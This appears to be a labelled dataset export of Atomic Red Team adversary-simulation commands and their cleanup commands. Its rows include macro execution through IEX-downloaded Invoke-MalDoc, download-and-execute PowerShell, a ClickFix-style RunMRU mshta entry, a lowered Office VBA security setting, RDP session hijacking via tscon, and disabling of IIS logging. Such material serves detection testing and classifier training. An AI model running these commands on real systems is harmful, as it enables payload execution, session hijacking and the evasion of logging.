8f975886b4fdf6195d8a390a,systemctl stop T1543.002 systemctl disable T1543.002 rm -rf /etc/init.d/T1543.002 systemctl daemon-reload,systemctl stop T1543.002 systemctl disable T1543.002 rm -rf /etc/init.d/T1543.002 systemctl daemon-reload,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.002/T1543.002.yaml,"Create Systemd Service file,  Enable the service , Modify and Reload the service.",T1543.002,"[""T1543.002""]",linux,0.55,True,"This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb93ac12cac1f2a41035e3e1,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n Shell`$ `""cscript.exe #{jse_path}`""`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n Shell`$ `""cscript.exe #{jse_path}`""`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,OSTap Style Macro Execution,T1204.002,"[""T1204.002""]",windows,0.9,False,"This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
References:
  https://www.computerweekly.com/news/252470091/TrickBot-Trojan-sw",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
066a08b361e9d9dfb3fd0247,Remove-Item #{jse_path} -ErrorAction Ignore,Remove-Item #{jse_path} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,OSTap Style Macro Execution,T1204.002,"[""T1204.002""]",windows,0.55,True,"This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.
References:
  https://www.computerweekly.com/news/252470091/TrickBot-Trojan-sw",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
507f92442fe1752c510e47c0,"echo var url = ""#{file_url}"", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file} cscript //E:Jscript #{script_file}","echo var url = ""#{file_url}"", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file} cscript //E:Jscript #{script_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,OSTap Payload Download,T1204.002,"[""T1204.002""]",windows,0.9,False,"Uses cscript //E:jscript to download a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ee6c257f54b9f414f955811,del #{script_file} /F /Q >nul 2>&1,del #{script_file} /F /Q >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,OSTap Payload Download,T1204.002,"[""T1204.002""]",windows,0.55,True,"Uses cscript //E:jscript to download a file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d795a9347256bcdbbbefd40d,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" a = Shell(`""cmd.exe /c choice /C Y /N /D Y /T 3`"", vbNormalFocus)"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" a = Shell(`""cmd.exe /c choice /C Y /N /D Y /T 3`"", vbNormalFocus)"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Maldoc choice flags command execution,T1204.002,"[""T1204.002""]",windows,0.9,False,"This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched.
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0045d6710ce73d3a5d99727,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n a = Shell(`""cmd.exe /c wscript.exe //E:jscript #{jse_path}`"", vbNormalFocus)`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{jse_path}`"" For Output As #1`n Write #1, `""WScript.Quit`""`n Close #1`n a = Shell(`""cmd.exe /c wscript.exe //E:jscript #{jse_path}`"", vbNormalFocus)`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct ""#{ms_product}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,OSTAP JS version,T1204.002,"[""T1204.002""]",windows,0.9,False,"Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript
Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ac5936a0dda623303f006be,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{bat_path}`"" For Output As #1`n Write #1, `""calc.exe`""`n Close #1`n a = Shell(`""cmd.exe /c #{bat_path} `"", vbNormalFocus)`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macrocode = "" Open `""#{bat_path}`"" For Output As #1`n Write #1, `""calc.exe`""`n Close #1`n a = Shell(`""cmd.exe /c #{bat_path} `"", vbNormalFocus)`n"" Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Office launching .bat file from AppData,T1204.002,"[""T1204.002""]",windows,0.9,False,Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a777cc548031c6a966a45637,"Remove-Item #{bat_path} -ErrorAction Ignore Get-Process | Where-Object { $_.MainModule.FileName -like ""*calculator*"" } | Stop-Process","Remove-Item #{bat_path} -ErrorAction Ignore Get-Process | Where-Object { $_.MainModule.FileName -like ""*calculator*"" } | Stop-Process",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Office launching .bat file from AppData,T1204.002,"[""T1204.002""]",windows,0.55,True,Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f9cece4484c2996cdf3540e5,"Stop-Process -Name ""procexp*"" -ErrorAction Ignore Remove-Item ""$env:TEMP\atomic_redteam_x4m_exec.vbs"" -ErrorAction Ignore Remove-Item ""$env:TEMP\procexp.exe"" -ErrorAction Ignore","Stop-Process -Name ""procexp*"" -ErrorAction Ignore Remove-Item ""$env:TEMP\atomic_redteam_x4m_exec.vbs"" -ErrorAction Ignore Remove-Item ""$env:TEMP\procexp.exe"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Excel 4 Macro,T1204.002,"[""T1204.002""]",windows,0.55,True,"This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a ""malicious""
VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec.

A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If
you'd like to utilize the ""=GET.WORKSPACE(26)"" method, that many maldoc authors use, you will need to ensure that the User",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93498cead92f587116bdf66f,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt"" -officeProduct ""Word"" -sub ""ExecChrome""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt"" -officeProduct ""Word"" -sub ""ExecChrome""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Headless Chrome code execution via VBA,T1204.002,"[""T1204.002""]",windows,0.9,False,"This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
and pull down the script and execute it. By default the payload will execute calc.exe on the system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1e8ee3a758489033b49ce94,Stop-Process -name mshta,Stop-Process -name mshta,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Headless Chrome code execution via VBA,T1204.002,"[""T1204.002""]",windows,0.55,True,"This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local
webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver
and pull down the script and execute it. By default the payload will execute calc.exe on the system.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d77faf3cb203158b970fe3d6,"Invoke-WebRequest #{pua_url} -OutFile #{pua_file} & ""#{pua_file}""","Invoke-WebRequest #{pua_url} -OutFile #{pua_file} & ""#{pua_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Potentially Unwanted Applications (PUA),T1204.002,"[""T1204.002""]",windows,0.9,False,"The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a475e6403fa842bad200c74f,Stop-Process -name PotentiallyUnwanted Remove-Item #{pua_file} -ErrorAction Ignore,Stop-Process -name PotentiallyUnwanted Remove-Item #{pua_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Potentially Unwanted Applications (PUA),T1204.002,"[""T1204.002""]",windows,0.55,True,"The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c9b410371516e90026c2518,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macroCode = Get-Content ""#{macro_path}"" -Raw $URL = ""#{c2_domain}"" + ""/"" + ""#{c2_parent_directory}"" $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', ""#{file_name}"" Invoke-MalDoc -macroCode $macroCode -officeProduct ""#{ms_product}""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) $macroCode = Get-Content ""#{macro_path}"" -Raw $URL = ""#{c2_domain}"" + ""/"" + ""#{c2_parent_directory}"" $macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', ""#{file_name}"" Invoke-MalDoc -macroCode $macroCode -officeProduct ""#{ms_product}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Office Generic Payload Download,T1204.002,"[""T1204.002""]",windows,0.9,False,"This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
Required input agruments are c2_domain and file_name
Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test fo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db030308eaf9e7a5fe01b4ff,"Remove-Item ""C:\Users\$env:username\Desktop\#{file_name}"" -ErrorAction Ignore","Remove-Item ""C:\Users\$env:username\Desktop\#{file_name}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Office Generic Payload Download,T1204.002,"[""T1204.002""]",windows,0.55,True,"This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server.
Required input agruments are c2_domain and file_name
Execution is handled by [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.
Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test fo",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a1ffe676c018aa554c64863,"Invoke-WebRequest -OutFile $env:Temp\test10.lnk ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk"" $file1 = ""$env:Temp\test10.lnk"" Start-Process $file1 Start-Sleep -s 10 taskkill /IM a.exe /F","Invoke-WebRequest -OutFile $env:Temp\test10.lnk ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk"" $file1 = ""$env:Temp\test10.lnk"" Start-Process $file1 Start-Sleep -s 10 taskkill /IM a.exe /F",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,LNK Payload Download,T1204.002,"[""T1204.002""]",windows,0.9,False,This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b9db38aad4a70a1508d2667,"$file1 = ""$env:Temp\test10.lnk"" $file2 = ""$env:Temp\a.exe"" Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore","$file1 = ""$env:Temp\test10.lnk"" $file2 = ""$env:Temp\a.exe"" Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,LNK Payload Download,T1204.002,"[""T1204.002""]",windows,0.55,True,This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
240b6bb666545213301a5283,"Cd ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs"" New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name ""VBAWarnings"" -Value ""1"" -PropertyType DWORD -Force | Out-Null & '.\Excel 2016.lnk' ""PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm""","Cd ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs"" New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name ""VBAWarnings"" -Value ""1"" -PropertyType DWORD -Force | Out-Null & '.\Excel 2016.lnk' ""PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Mirror Blast Emulation,T1204.002,"[""T1204.002""]",windows,0.9,False,"Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed.
Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8844c84ce577d31b55579cce,"reg delete ""HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security"" /v ""VBAWarnings"" /f","reg delete ""HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security"" /v ""VBAWarnings"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Mirror Blast Emulation,T1204.002,"[""T1204.002""]",windows,0.55,True,"Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed.
Requires the 32 bit version of Office to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9df630fa9d072c7d38cc13b,"Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"" -Name ""atomictest"" -Value '""C:\Windows\System32\mshta.exe"" http://localhost/hello6.hta'","Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"" -Name ""atomictest"" -Value '""C:\Windows\System32\mshta.exe"" http://localhost/hello6.hta'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell,T1204.002,"[""T1204.002""]",windows,0.9,False,"Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dea6fa544f9caa8bea0615fb,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"" -Name ""atomictest"" -ErrorAction SilentlyContinue","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"" -Name ""atomictest"" -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell,T1204.002,"[""T1204.002""]",windows,0.55,True,"Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ae3efab860f51e6ac4d1ac3c,"$url = ""#{url}"" $outfile = ""#{outfile}"" Invoke-WebRequest -Uri $url -OutFile $outfile -UseBasicParsing $process = Start-Process -FilePath $outfile -PassThru -WindowStyle Normal $process.Id | Out-File ""$env:TEMP\click-fix-pid.txt""","$url = ""#{url}"" $outfile = ""#{outfile}"" Invoke-WebRequest -Uri $url -OutFile $outfile -UseBasicParsing $process = Start-Process -FilePath $outfile -PassThru -WindowStyle Normal $process.Id | Out-File ""$env:TEMP\click-fix-pid.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Simulate Click-Fix via Downloaded BAT File,T1204.002,"[""T1204.002""]",windows,0.9,False,"Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a ""fix"" operation.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a4ce39d826f207fa07e2e3e,"if (Test-Path ""$env:TEMP\click-fix-pid.txt"") { $pid = Get-Content ""$env:TEMP\click-fix-pid.txt"" Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue Remove-Item ""$env:TEMP\click-fix-pid.txt"" -ErrorAction SilentlyContinue } Remove-Item ""#{outfile}"" -ErrorAction SilentlyContinue","if (Test-Path ""$env:TEMP\click-fix-pid.txt"") { $pid = Get-Content ""$env:TEMP\click-fix-pid.txt"" Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue Remove-Item ""$env:TEMP\click-fix-pid.txt"" -ErrorAction SilentlyContinue } Remove-Item ""#{outfile}"" -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1204.002/T1204.002.yaml,Simulate Click-Fix via Downloaded BAT File,T1204.002,"[""T1204.002""]",windows,0.55,True,"Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a ""fix"" operation.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3a64891aa345bac44653479,"query user sc.exe create sesshijack binpath= ""cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"" net start sesshijack","query user sc.exe create sesshijack binpath= ""cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"" net start sesshijack",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1563.002/T1563.002.yaml,RDP hijacking,T1563.002,"[""T1563.002""]",windows,0.9,False,"[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
03c43ac4c6304d7ebf4395e3,sc.exe delete sesshijack >nul 2>&1,sc.exe delete sesshijack >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1563.002/T1563.002.yaml,RDP hijacking,T1563.002,"[""T1563.002""]",windows,0.55,True,"[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
830d1956bbe73c33ab46d69d,"C:\Windows\System32\inetsrv\appcmd.exe set config ""#{website_name}"" /section:httplogging /dontLog:true","C:\Windows\System32\inetsrv\appcmd.exe set config ""#{website_name}"" /section:httplogging /dontLog:true",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Disable Windows IIS HTTP Logging,T1562.002,"[""T1562.002""]",windows,0.9,False,"Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90a67653e53fc1a29fc5e9d7,"if(Test-Path ""C:\Windows\System32\inetsrv\appcmd.exe""){ C:\Windows\System32\inetsrv\appcmd.exe set config ""#{website_name}"" /section:httplogging /dontLog:false *>$null }","if(Test-Path ""C:\Windows\System32\inetsrv\appcmd.exe""){ C:\Windows\System32\inetsrv\appcmd.exe set config ""#{website_name}"" /section:httplogging /dontLog:false *>$null }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Disable Windows IIS HTTP Logging,T1562.002,"[""T1562.002""]",windows,0.55,True,"Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5fd9468c174136982c4400b,"set-WebConfigurationProperty -PSPath ""IIS:\Sites\#{website_name}\"" -filter ""system.webServer/httpLogging"" -name dontLog -value $true","set-WebConfigurationProperty -PSPath ""IIS:\Sites\#{website_name}\"" -filter ""system.webServer/httpLogging"" -name dontLog -value $true",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Disable Windows IIS HTTP Logging via PowerShell,T1562.002,"[""T1562.002""]",windows,0.9,False,"Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
